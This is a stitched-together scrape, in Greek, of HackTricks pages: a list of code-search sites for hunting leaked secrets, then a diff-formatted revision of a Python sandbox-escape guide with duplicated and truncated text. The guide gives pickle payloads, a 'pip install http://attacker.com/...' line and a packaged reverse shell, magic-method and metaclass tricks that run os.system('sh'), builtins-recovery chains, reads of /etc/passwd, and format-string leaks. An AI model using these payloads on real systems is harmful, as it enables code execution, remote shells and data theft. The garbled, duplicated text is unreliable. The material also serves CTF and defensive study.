* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Ο στόχος αυτής της σελίδας είναι να απαριθμήσει **πλατφόρμες που επιτρέπουν την αναζήτηση κώδικα** (κυριολεκτικού ή regex) σε χιλιάδες/εκατομμύρια αποθετήρια σε μία ή περισσότερες πλατφόρμες.
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Ο στόχος αυτής της σελίδας είναι να καταγράψει **πλατφόρμες που επιτρέπουν την αναζήτηση κώδικα** (κυριολεκτικού ή με regex) σε χιλιάδες/εκατομμύρια αποθετήρια σε μία ή περισσότερες πλατφόρμες.
Αυτό βοηθάει σε πολλές περιπτώσεις να **αναζητήσετε διαρροές πληροφοριών** ή πρότυπα **ευπαθειών**.
* [**SourceGraph**](https://sourcegraph.com/search): Αναζήτηση σε εκατομμύρια αποθετήρια. Υπάρχει μια δωρεάν έκδοση και μια επιχειρησιακή έκδοση (με 15 ημέρες δωρεάν). Υποστηρίζει regexes.
* [**Github Search**](https://github.com/search): Αναζήτηση στο Github. Υποστηρίζει regexes.
* Ίσως είναι χρήσιμο να ελέγξετε επίσης την [**Github Code Search**](https://cs.github.com/).
* [**Github Search**](https://github.com/search): Αναζήτηση σε όλο το Github. Υποστηρίζει regexes.
* Ίσως είναι χρήσιμο να ελέγξετε επίσης το [**Github Code Search**](https://cs.github.com/).
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Αναζήτηση σε έργα Gitlab. Υποστηρίζει regexes.
* [**SearchCode**](https://searchcode.com/): Αναζήτηση κώδικα σε εκατομμύρια έργα.
{% hint style="warning" %}
Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι σαν `git log -p` μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλα branches με άλλες ενσωματωμένες δεσμεύσεις** που περιέχουν μυστικά!
Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι σαν `git log -p` μην ξεχνάτε ότι μπορεί να υπάρχουν **άλλα κλαδιά με άλλες δεσμεύσεις** που περιέχουν μυστικά!
{% endhint %}
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Παράκαμψη αμμοθολών Python
# Παράκαμψη αμμοθολογίων Python
<details>
@ -8,13 +8,21 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών αμμοθόλων Python και την εκτέλεση αυθαίρετων εντολών.
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών αμμοθολογίων Python και την εκτέλεση αυθαίρετων εντολών.
## Βιβλιοθήκες Εκτέλεσης Εντολών
@ -51,7 +59,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για **ανάγνωση αρχείων** μέσα στο python sandbox και για **εγγραφή κ
Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για το **διάβασμα αρχείων** μέσα στο python sandbox και για το **γράψιμο κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
{% hint style="danger" %}
Η συνάρτηση **Python2 input()** επιτρέπει την εκτέλεση κώδικα Python πριν το πρόγραμμα καταρρεύσει.
{% endhint %}
Το Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα κατάλογο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει τα modules ο Python): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα Python
### Προεγκατεστημένα πακέτα
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python **να εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -75,12 +99,12 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κέλυφος**:
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κελύφωμα**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %}
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κέλυφος η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο Python εγκατεστημένο στον διακομιστή** όταν φύγετε.
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κελύφωμα η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο Python εγκατεστημένο στον διακομιστή** όταν φύγετε.
{% endhint %}
## Αξιολόγηση κώδικα Python
@ -146,7 +170,7 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Είναι επίσης δυνατόν να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
## Εκτέλεση Python χωρίς κλήσεις
@ -180,7 +204,7 @@ class _:pass
#### RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιηθούν** χωρίς να κληθούν απευθείας.
Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να κληθούν απευθείας.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια πρότυπη κλάση, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε ένα παράδειγμα μιας κλάσης, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,7 +273,7 @@ Sub['import os; os.system("sh")']
```
#### Δημιουργία αντικειμένων με εξαιρέσεις
Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπος από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπο από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -302,18 +326,18 @@ pass
```
## Ενσωματωμένες Συναρτήσεις
* [**Ενσωματωμένες συναρτήσεις της python2**](https://docs.python.org/2/library/functions.html)
* [**Ενσωματωμένες συναρτήσεις της python3**](https://docs.python.org/3/library/functions.html)
* [**Ενσωματωμένες συναρτήσεις της Python 2**](https://docs.python.org/2/library/functions.html)
* [**Ενσωματωμένες συναρτήσεις της Python 3**](https://docs.python.org/3/library/functions.html)
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Χωρίς Builtins
### Χωρίς Ενσωματωμένες Συναρτήσεις
Όταν δεν έχετε `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
Ωστόσο, **από προεπιλογή το Python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν και επικίνδυνες** λειτουργίες μέσα σε αυτά που μπορούν να προσπελαστούν για να επιτευχθεί ακόμα και **αυθαίρετη εκτέλεση κώδικα**.
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
Ωστόσο, **από προεπιλογή το Python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να επιτευχθεί ακόμα και **εκτέλεση αυθαίρετου κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα σε αυτά.
@ -339,6 +363,8 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
#### Πυθών 3
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -357,7 +383,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **μέρη** όπου μπορείτε να βρείτε τα **builtins**.
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **σημεία** όπου μπορείτε να βρείτε τα **builtins**.
#### Python2 και Python3
```python
@ -365,7 +391,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Φορτία ενσωματωμένων λειτουργιών
### Ενσωματωμένα φορτία
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -373,7 +399,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Παγκόσμιες μεταβλητές και τοπικές μεταβλητές
## Παγκόσμιες και τοπικές μεταβλητές
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
```python
@ -435,7 +461,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **φορτωμένα modules που έχουν εισάγει το sys μέσα σε αυτά**:
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **ενότητες που έχουν φορτώσει που έχουν εισάγει το sys μέσα σε αυτές**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -498,7 +524,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Επιπλέον, αν πιστεύετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για την εκτέλεση εντολών**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
Επιπλέον, εάν πιστεύετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για την εκτέλεση εντολών**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -656,13 +682,14 @@ main()
[broken-reference](broken-reference/)
{% endcontent-ref %}
## Συμβολοσειρά Μορφοποίησης Python
## Μορφή Συμβολοσειράς Python
Εάν **στείλετε** μια **συμβολοσειρά** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να έχετε πρόσβαση σε **εσωτερικές πληροφορίες του python**. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε globals ή builtins για παράδειγμα.
Εάν **στείλετε** μια **συμβολοσειρά** στο python που θα **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να έχετε πρόσβαση σε **εσωτερικές πληροφορίες του python**. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε globals ή builtins για παράδειγμα.
{% hint style="info" %}
Ωστόσο, υπάρχει μια **περιορισμός**, μπορείτε να χρησιμοποιήσετε μόνο τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, απλά να διαβάσετε πληροφορίες.\
_**Αν γνωρίζετε πώς να εκτελέσετε κ
Ωστόσο, υπάρχει μια **περιορισμένη** δυνατότητα, μπορείτε μόνο να χρησιμοποιήσετε τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, μόνο να διαβάσετε πληροφορίες.\
_**Αν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, επικοινωνήστε μαζί μου.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,9 +709,9 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στα **στοιχεία λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στοιχεία **λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
```python
@ -723,13 +750,13 @@ return 'HAL 9000'
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
## Ανάλυση Αντικειμένων σε Python
## Ανάλυση Αντικειμένων Python
{% hint style="info" %}
Αν θέλετε να **μάθετε** για το **bytecode της Python** λεπτομερώς, διαβάστε αυτήν την **εκπληκτική** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Αν θέλετε να **μάθετε** για τον **κώδικα bytecode της Python** λεπτομερώς, διαβάστε αυτήν την **εκπληκτική** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης** όπου βρίσκεται η σημαία και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
Αυτή είναι η συνάρτηση προς επιθεώρηση:
```python
@ -852,7 +879,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Σημείωση ότι **αν δεν μπορείτε να εισάγετε το `dis` στο περιβάλλον Python** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τις μαντέψετε από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
Σημείωσε ότι αν δεν μπορείς να εισάγεις το `dis` στο περιβάλλον Python, μπορείς να αποκτήσεις το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσεις** τοπικά. Δεν θα δεις το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείς να τις μαντέψεις από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -874,10 +901,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Συναρμολόγηση της Python
## Συλλογή Python
Τώρα, ας φανταστούμε ότι μπορείτε κάπως να **ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_).
Τώρα, ας φανταστούμε ότι μπορείτε **να ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -892,7 +919,7 @@ return "Nope"
```
### Δημιουργία του αντικειμένου κώδικα
Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που διέρρευσε:
